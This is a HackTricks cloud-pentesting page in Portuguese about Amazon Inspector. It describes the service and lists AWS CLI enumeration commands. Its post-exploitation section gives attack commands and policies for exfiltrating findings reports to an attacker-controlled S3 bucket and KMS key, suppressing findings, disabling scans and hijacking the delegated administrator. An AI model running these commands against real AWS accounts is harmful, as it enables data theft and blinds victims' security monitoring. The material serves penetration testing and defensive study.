AWS - Inspector Enum

AWS - Inspector Enum

Support HackTricks

Inspector

O Amazon Inspector é um serviço avançado e automatizado de gerenciamento de vulnerabilidades projetado para melhorar a segurança do seu ambiente AWS. Este serviço escaneia continuamente instâncias do Amazon EC2, imagens de contêiner no Amazon ECR, Amazon ECS e funções do AWS Lambda em busca de vulnerabilidades e exposição indesejada à rede. Ao aproveitar um robusto banco de dados de inteligência de vulnerabilidades, o Amazon Inspector fornece descobertas detalhadas, incluindo níveis de severidade e recomendações de remediação, ajudando as organizações a identificar e abordar proativamente os riscos de segurança. Essa abordagem abrangente garante uma postura de segurança fortalecida em vários serviços AWS, auxiliando na conformidade e gerenciamento de riscos.

Elementos-chave

Descobertas

As descobertas no Amazon Inspector são relatórios detalhados sobre vulnerabilidades e exposições descobertas durante a varredura de instâncias EC2, repositórios ECR ou funções Lambda. Com base em seu estado, as descobertas são categorizadas como:

  • Ativa: A descoberta não foi remediada.

  • Fechada: A descoberta foi remediada.

  • Suprimida: A descoberta foi marcada com este estado devido a uma ou mais regras de supressão.

As descobertas também são categorizadas em três tipos:

  • Pacote: Essas descobertas estão relacionadas a vulnerabilidades em pacotes de software instalados em seus recursos. Exemplos incluem bibliotecas desatualizadas ou dependências com problemas de segurança conhecidos.

  • Código: Esta categoria inclui vulnerabilidades encontradas no código de aplicativos que estão sendo executados em seus recursos AWS. Problemas comuns são erros de codificação ou práticas inseguras que podem levar a brechas de segurança.

  • Rede: As descobertas de rede identificam exposições potenciais nas configurações de rede que podem ser exploradas por atacantes. Isso inclui portas abertas, protocolos de rede inseguros e grupos de segurança mal configurados.

Filtros e Regras de Supressão

Filtros e regras de supressão no Amazon Inspector ajudam a gerenciar e priorizar descobertas. Os filtros permitem refinar as descobertas com base em critérios específicos, como severidade ou tipo de recurso. As regras de supressão permitem suprimir certas descobertas que são consideradas de baixo risco, já foram mitigadas ou por qualquer outro motivo importante, evitando que sobrecarreguem seus relatórios de segurança e permitindo que você se concentre em questões mais críticas.

Software Bill of Materials (SBOM)

Um Software Bill of Materials (SBOM) no Amazon Inspector é uma lista de inventário aninhada exportável detalhando todos os componentes dentro de um pacote de software, incluindo bibliotecas e dependências. Os SBOMs ajudam a fornecer transparência na cadeia de suprimentos de software, permitindo melhor gerenciamento de vulnerabilidades e conformidade. Eles são cruciais para identificar e mitigar riscos associados a componentes de software de código aberto e de terceiros.

Recursos principais

Exportar descobertas

O Amazon Inspector oferece a capacidade de exportar descobertas para Amazon S3 Buckets, Amazon EventBridge e AWS Security Hub, o que permite gerar relatórios detalhados de vulnerabilidades e exposições identificadas para análise ou compartilhamento em uma data e hora específicas. Este recurso suporta vários formatos de saída, como CSV e JSON, facilitando a integração com outras ferramentas e sistemas. A funcionalidade de exportação permite a personalização dos dados incluídos nos relatórios, permitindo que você filtre descobertas com base em critérios específicos, como severidade, tipo de recurso ou intervalo de datas, incluindo por padrão todas as suas descobertas na Região AWS atual com status Ativo.

Ao exportar descobertas, uma chave do Key Management Service (KMS) é necessária para criptografar os dados durante a exportação. As chaves KMS garantem que as descobertas exportadas estejam protegidas contra acesso não autorizado, fornecendo uma camada extra de segurança para informações sensíveis de vulnerabilidades.

Varredura de instâncias Amazon EC2

O Amazon Inspector oferece robustas capacidades de varredura para instâncias do Amazon EC2 para detectar vulnerabilidades e problemas de segurança. O Inspector comparou os metadados extraídos da instância EC2 com regras de avisos de segurança para produzir vulnerabilidades de pacotes e problemas de acessibilidade de rede. Essas varreduras podem ser realizadas por meio de métodos baseados em agente ou sem agente, dependendo da configuração das definições de modo de varredura da sua conta.

  • Baseado em Agente: Utiliza o agente do AWS Systems Manager (SSM) para realizar varreduras detalhadas. Este método permite a coleta e análise abrangente de dados diretamente da instância.

  • Sem Agente: Fornece uma alternativa leve que não requer a instalação de um agente na instância, criando um snapshot EBS de cada volume da instância EC2, procurando vulnerabilidades e, em seguida, excluindo-o; aproveitando a infraestrutura existente da AWS para varredura.

O modo de varredura determina qual método será usado para realizar varreduras EC2:

  • Baseado em Agente: Envolve a instalação do agente SSM em instâncias EC2 para inspeção profunda.

  • Varredura Híbrida: Combina métodos baseados em agente e sem agente para maximizar a cobertura e minimizar o impacto no desempenho. Nas instâncias EC2 onde o agente SSM está instalado, o Inspector realizará uma varredura baseada em agente, e para aquelas onde não há agente SSM, a varredura realizada será sem agente.

Outro recurso importante é a inspeção profunda para instâncias Linux EC2. Este recurso oferece uma análise minuciosa do software e da configuração das instâncias Linux EC2, fornecendo avaliações detalhadas de vulnerabilidades, incluindo vulnerabilidades do sistema operacional, vulnerabilidades de aplicativos e configurações incorretas, garantindo uma avaliação de segurança abrangente. Isso é alcançado por meio da inspeção de caminhos personalizados e todos os seus subdiretórios. Por padrão, o Amazon Inspector irá escanear os seguintes, mas cada conta membro pode definir até 5 caminhos personalizados adicionais, e cada administrador delegado até 10:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Varredura de imagens de contêiner Amazon ECR

O Amazon Inspector fornece robustas capacidades de varredura para imagens de contêiner do Amazon Elastic Container Registry (ECR), garantindo que vulnerabilidades de pacotes sejam detectadas e gerenciadas de forma eficiente.

  • Varredura Básica: Esta é uma varredura rápida e leve que identifica vulnerabilidades conhecidas de pacotes de SO em imagens de contêiner usando um conjunto padrão de regras do projeto de código aberto Clair. Com esta configuração de varredura, seus repositórios serão escaneados ao serem enviados, ou realizando varreduras manuais.

  • Varredura Aprimorada: Esta opção adiciona o recurso de varredura contínua além da varredura ao enviar. A varredura aprimorada mergulha mais fundo nas camadas de cada imagem de contêiner para identificar vulnerabilidades em pacotes de SO e em pacotes de linguagens de programação com maior precisão. Ela analisa tanto a imagem base quanto quaisquer camadas adicionais, fornecendo uma visão abrangente de potenciais problemas de segurança.

Varredura de funções Amazon Lambda

O Amazon Inspector inclui capacidades abrangentes de varredura para funções AWS Lambda e suas camadas, garantindo a segurança e integridade de aplicativos sem servidor. O Inspector oferece dois tipos de varredura para funções Lambda:

  • Varredura padrão do Lambda: Este recurso padrão identifica vulnerabilidades de software nas dependências do pacote de aplicativo adicionadas à sua função Lambda e camadas. Por exemplo, se sua função usar uma versão de uma biblioteca como python-jwt com uma vulnerabilidade conhecida, ela gera uma descoberta.

  • Varredura de código do Lambda: Analisa o código de aplicativo personalizado em busca de problemas de segurança, detectando vulnerabilidades como falhas de injeção, vazamentos de dados, criptografia fraca e falta de criptografia. Captura trechos de código destacando vulnerabilidades detectadas, como credenciais codificadas. As descobertas incluem sugestões detalhadas de remediação e trechos de código para corrigir os problemas.

Varreduras do Center for Internet Security (CIS)

O Amazon Inspector inclui varreduras CIS para comparar os sistemas operacionais das instâncias Amazon EC2 com as recomendações de melhores práticas do Center for Internet Security (CIS). Essas varreduras garantem que as configurações estejam em conformidade com as linhas de base de segurança padrão da indústria.

  • Configuração: As varreduras CIS avaliam se as configurações do sistema atendem a recomendações específicas do CIS Benchmark, com cada verificação vinculada a um ID e título de verificação do CIS.

  • Execução: As varreduras são realizadas ou agendadas com base em tags de instância e cronogramas definidos.

  • Resultados: Os resultados pós-varredura indicam quais verificações passaram, foram ignoradas ou falharam, fornecendo insights sobre a postura de segurança de cada instância.

Enumeração

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Pós Exploração

Do ponto de vista de um atacante, este serviço pode ajudar o atacante a encontrar vulnerabilidades e exposições de rede que poderiam ajudá-lo a comprometer outras instâncias/containers.

No entanto, um atacante também poderia estar interessado em interromper este serviço para que a vítima não possa ver vulnerabilidades (todas ou específicas).

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

Um atacante poderia gerar relatórios detalhados de vulnerabilidades ou faturas de materiais de software (SBOMs) e exfiltrá-los do seu ambiente AWS. Essas informações poderiam ser exploradas para identificar fraquezas específicas, software desatualizado ou dependências inseguras, possibilitando ataques direcionados.

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]

O seguinte exemplo mostra como exfiltrar todas as descobertas Ativas do Amazon Inspector para um Bucket Amazon S3 controlado pelo atacante com uma chave Amazon KMS controlada pelo atacante:

  1. Crie um Bucket Amazon S3 e anexe uma política a ele para que seja acessível a partir do Amazon Inspector da vítima:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Crie uma chave do Amazon KMS e anexe uma política a ela para que possa ser utilizada pelo Amazon Inspector da vítima:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. Execute o comando para criar o relatório de descobertas exfiltrando-o:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • Impacto Potencial: Geração e exfiltração de relatórios detalhados de vulnerabilidades e software, obtendo insights sobre vulnerabilidades específicas e fraquezas de segurança.

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

Um atacante poderia cancelar a geração do relatório de descobertas especificado ou do relatório SBOM, impedindo que as equipes de segurança recebam informações oportunas sobre vulnerabilidades e a lista de materiais de software (SBOMs), atrasando a detecção e remediação de problemas de segurança.

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • Impacto Potencial: Interrupção da monitorização de segurança e prevenção da detecção e remediação oportunas de problemas de segurança.

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

Um atacante com essas permissões seria capaz de manipular as regras de filtragem que determinam quais vulnerabilidades e problemas de segurança são relatados ou suprimidos (se a ação estiver definida como SUPPRESS, uma regra de supressão seria criada). Isso poderia ocultar vulnerabilidades críticas dos administradores de segurança, facilitando a exploração dessas fraquezas sem detecção. Ao alterar ou remover filtros importantes, um atacante também poderia criar ruído ao inundar o sistema com descobertas irrelevantes, dificultando a monitorização e resposta de segurança eficazes.

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • Impacto Potencial: Ocultação ou supressão de vulnerabilidades críticas, ou inundação do sistema com descobertas irrelevantes.

inspector2:DisableDelegatedAdminAccount, (inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

Um atacante poderia interromper significativamente a estrutura de gerenciamento de segurança.

  • Desabilitando a conta de administrador delegado, o atacante poderia impedir que a equipe de segurança acessasse e gerenciasse as configurações e relatórios do Amazon Inspector.

  • Habilitar uma conta de administrador não autorizada permitiria que um atacante controlasse as configurações de segurança, potencialmente desabilitando varreduras ou modificando configurações para ocultar atividades maliciosas.

É necessário que a conta não autorizada esteja na mesma Organização que a vítima para se tornar o administrador delegado.

Para que a conta não autorizada se torne o administrador delegado, também é necessário que, após o administrador delegado legítimo ser desabilitado, e antes que a conta não autorizada seja habilitada como o administrador delegado, o administrador legítimo deve ser desregistrado como o administrador delegado da organização. Isso pode ser feito com o seguinte comando (organizations:DeregisterDelegatedAdministrator permissão necessária): aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • Impacto Potencial: Interrupção da gestão de segurança.

inspector2:AssociateMember, inspector2:DisassociateMember

Um atacante poderia manipular a associação de contas membros dentro de uma organização do Amazon Inspector. Ao associar contas não autorizadas ou desassociar contas legítimas, um atacante poderia controlar quais contas estão incluídas nas varreduras de segurança e relatórios. Isso poderia levar à exclusão de contas críticas da monitorização de segurança, permitindo que o atacante explorasse vulnerabilidades nessas contas sem detecção.

Esta ação deve ser realizada pelo administrador delegado.

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • Impacto Potencial: Exclusão de contas-chave de varreduras de segurança, permitindo a exploração não detectada de vulnerabilidades.

inspector2:Disable, (inspector2:Enable & iam:CreateServiceLinkedRole)

Um atacante com a permissão inspector2:Disable seria capaz de desativar varreduras de segurança em tipos de recursos específicos (EC2, ECR, Lambda, código Lambda) nas contas especificadas, deixando partes do ambiente AWS não monitoradas e vulneráveis a ataques. Além disso, devido às permissões inspector2:Enable & iam:CreateServiceLinkedRole, um atacante poderia então reativar varreduras seletivamente para evitar a detecção de configurações suspeitas.

Esta ação deve ser realizada pelo administrador delegado.

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • Impacto Potencial: Criação de pontos cegos na monitorização de segurança.

inspector2:UpdateOrganizationConfiguration

Um atacante com esta permissão seria capaz de atualizar as configurações para a sua organização Amazon Inspector, afetando os recursos de varredura padrão ativados para novas contas de membros.

Esta ação deve ser realizada pelo administrador delegado.

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • Impacto Potencial: Alterar políticas e configurações de varredura de segurança para a organização.

inspector2:TagResource, inspector2:UntagResource

Um atacante poderia manipular tags em recursos do AWS Inspector, que são críticos para organizar, rastrear e automatizar avaliações de segurança. Ao alterar ou remover tags, um atacante poderia potencialmente ocultar vulnerabilidades de varreduras de segurança, interromper relatórios de conformidade e interferir em processos de remediação automatizados, levando a problemas de segurança não verificados e comprometendo a integridade do sistema.

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • Impacto Potencial: Ocultação de vulnerabilidades, interrupção de relatórios de conformidade, interrupção da automação de segurança e interrupção da alocação de custos.

Referências

Support HackTricks

Last updated